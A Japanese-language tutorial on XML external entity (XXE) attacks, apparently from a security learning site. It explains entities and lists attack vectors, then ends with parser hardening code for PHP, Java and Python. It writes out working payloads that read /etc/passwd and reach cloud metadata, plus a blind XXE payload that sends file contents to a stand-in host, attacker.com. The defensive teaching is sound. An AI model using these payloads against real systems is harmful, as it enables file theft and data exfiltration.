1. XML 実体参照とは #xml-entity
XML 内で再利用可能な文字列/データを定義する仕組み。
<!DOCTYPE foo [ <!ENTITY company "うつろい株式会社"> ]> <invoice> <name>&company;</name> <!-- 「うつろい株式会社」に展開される --> </invoice>
HTML の &、< 等も実体参照の一種(あらかじめ定義済み)。
2. 外部実体の危険性 #external-entity
SYSTEM キーワードで「外部リソース」を実体定義に使える。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <invoice> <name>&xxe;</name> </invoice>
パーサがこれを処理すると &xxe; が /etc/passwd の内容に置き換わり、最終的にレスポンスやログに混入します。SSRF と同じく内部ネットワークへの到達も可能(SYSTEM "http://169.254.169.254/...")。
3. 攻撃ベクトル #attack-vectors
- ローカルファイル読み取り —
file:///etc/passwd、file:///var/www/utsuroi/config/secrets.yml - SSRF —
http://169.254.169.254/...でクラウドメタデータ取得 - DoS — 「Billion Laughs」攻撃で実体を再帰的に展開させてメモリ枯渇
- Out-of-Band データ抽出 — レスポンスにファイル内容が混ざらない場合でも、外部 DTD 経由で攻撃者サーバへ送信
4. Blind XXE #blind-xxe
レスポンスが返らなくても外部 DTD で抽出可能。
多くのアプリは XML 解析エラー時にスタックトレースをそのまま返さない。それでも、外部 DTD を読みに行く XML パーサに対しては、攻撃者がコントロールするドメインに DTD を置いて、ファイル内容を URL の一部として送信させることができる。
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/oob.dtd"> %dtd; ]>
外部 DTD oob.dtd 側で、%file; の値を URL に組み込んで http://attacker.com/?data=%file; へリクエストを発生させる。攻撃者のサーバログに /etc/passwd の中身が記録される。
5. 正しい防御 #defense
外部実体を無効化するのが基本。
多くの XML パーサで、外部実体の無効化はオプションで切り替えられます。明示的に無効化することが必要(デフォルトで安全な実装も最近は増えていますが、依然としてレガシーパーサは有効になっている場合がある)。
// PHP - libxml
libxml_disable_entity_loader(true); // PHP 8.0 以降はデフォルトで無効
// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Python - lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
そもそも XML を使う必然性がない場合は JSON に置き換えるのも有効な対策。XML は機能が豊富すぎる結果として、設定ミスで攻撃面が広がるリスクが高い。